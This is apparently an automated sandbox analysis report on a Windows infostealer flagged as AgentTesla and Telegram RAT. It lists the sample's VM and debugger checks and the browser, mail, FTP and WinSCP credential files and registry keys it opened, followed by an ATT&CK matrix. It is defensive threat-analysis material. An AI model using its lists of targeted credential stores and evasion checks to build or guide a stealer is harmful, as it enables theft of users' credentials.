Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	Binary or memory string: get_VirtualMachinesRoleSizes
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	Binary or memory string: virtualMachinesRoleSizes
Source: OgBoRN.exe, 00000004.00000002.4629529277.000000000799E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: OgBoRN.exe, 00000004.00000002.4629529277.000000000799E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	Binary or memory string: SupportedByVirtualMachines
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	Binary or memory string: VirtualMachineResourceDiskSizeInMb
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	Binary or memory string: get_ErrorUpdatingVirtualMachine
Source: OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VIRTUAL-vmware/VirtualBox0root\CIMV21SELECT * FROM Win32_VideoController2Name3VMware
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	Binary or memory string: get_ErrorCreatingVirtualMachine
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	Binary or memory string: set_VirtualMachineResourceDiskSizeInMb
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: DnsDoesNotExistVEnableRemoteDesktop_FriendlyCertificateName<EndPointNotFoundForBlobStorage EndProcessingLogPEnvironmentDoesNotSupportActiveDirectory"EnvironmentExistsLEnvironmentNameDoesntMatchSubscriptionBEnvironmentNameNeedsToBeSpecified:EnvironmentNeedsToBeSpecified&EnvironmentNotFound(EnvironmentsFileName6ErrorCreatingVirtualMachineDErrorRetrievingRuntimesForLocation6ErrorUpdatingVirtualMachine*FailedJobErrorMessage$FilePathIsNotValid2FirstPurchaseErrorMessage(FirstPurchaseMessage,GatewayOperationStatus$GeneralScaffolding.GetAllAddOnsWaitMessage(GetStorageKeysHeader
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	Binary or memory string: set_SupportedByVirtualMachines
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	Binary or memory string: ErrorUpdatingVirtualMachine
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	Binary or memory string: VirtualMachinesRoleSizes
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	Binary or memory string: ErrorCreatingVirtualMachine
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	Binary or memory string: get_VirtualMachineResourceDiskSizeInMb
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	Binary or memory string: set_VirtualMachinesRoleSizes
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CreatedTime&ComputeCapabilities0VirtualMachinesRoleSizes$WebWorkerRoleSizes
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: MemoryInMb2SupportedByWebWorkerRoles4SupportedByVirtualMachines MaxDataDiskCount:WebWorkerResourceDiskSizeInMbDVirtualMachineResourceDiskSizeInMb4CurrentVirtualNetworkSites0CurrentLocalNetworkSites"CurrentDnsServers&ListOperationsAsync
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	Binary or memory string: get_SupportedByVirtualMachines
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4617984919.0000000006C68000.00000004.00000020.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2399862479.0000000007A29000.00000004.00000020.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4624967654.0000000007800000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe

Code function: 0_2_03365BE0 CheckRemoteDebuggerPresent,

0_2_03365BE0

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.0000000006ECB000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Queries volume information: C:\Users\user\Desktop\gq8sce-clean.com.com.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Queries volume information: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Queries volume information: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 00000003.00000002.2401382417.0000000007D27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4629529277.0000000007B6C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4620180662.0000000006ECB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2401382417.0000000007D17000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4629529277.0000000007B64000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4629529277.0000000007A01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2401382417.0000000007BB4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gq8sce-clean.com.com.exe PID: 4668, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OgBoRN.exe PID: 6656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OgBoRN.exe PID: 5588, type: MEMORYSTR

Yara detected Discord Token Stealer

Source: Yara match

File source: Process Memory Space: OgBoRN.exe PID: 6656, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000003.00000002.2401382417.0000000007D27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4629529277.0000000007B6C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4620180662.0000000006ECB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gq8sce-clean.com.com.exe PID: 4668, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OgBoRN.exe PID: 6656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OgBoRN.exe PID: 5588, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior

Source: Yara match	File source: 00000000.00000002.4620180662.0000000006ECB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4629529277.0000000007A01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2401382417.0000000007BB4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gq8sce-clean.com.com.exe PID: 4668, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OgBoRN.exe PID: 6656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OgBoRN.exe PID: 5588, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 00000003.00000002.2401382417.0000000007D27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4629529277.0000000007B6C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4620180662.0000000006ECB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2401382417.0000000007D17000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4629529277.0000000007B64000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4629529277.0000000007A01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2401382417.0000000007BB4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gq8sce-clean.com.com.exe PID: 4668, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OgBoRN.exe PID: 6656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OgBoRN.exe PID: 5588, type: MEMORYSTR

Yara detected Discord Token Stealer

Source: Yara match

File source: Process Memory Space: OgBoRN.exe PID: 6656, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000003.00000002.2401382417.0000000007D27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4629529277.0000000007B6C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4620180662.0000000006ECB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gq8sce-clean.com.com.exe PID: 4668, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OgBoRN.exe PID: 6656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OgBoRN.exe PID: 5588, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	231 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	2 Process Injection	1 Obfuscated Files or Information	11 Input Capture	34 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Masquerading	NTDS	631 Security Software Discovery	Distributed Component Object Model	11 Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	261 Virtualization/Sandbox Evasion	LSA Secrets	2 Process Discovery	SSH	1 Clipboard Data	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Process Injection	Cached Domain Credentials	261 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Hidden Files and Directories	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report gq8sce-clean.com.com.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
gq8sce-clean.com.com.exe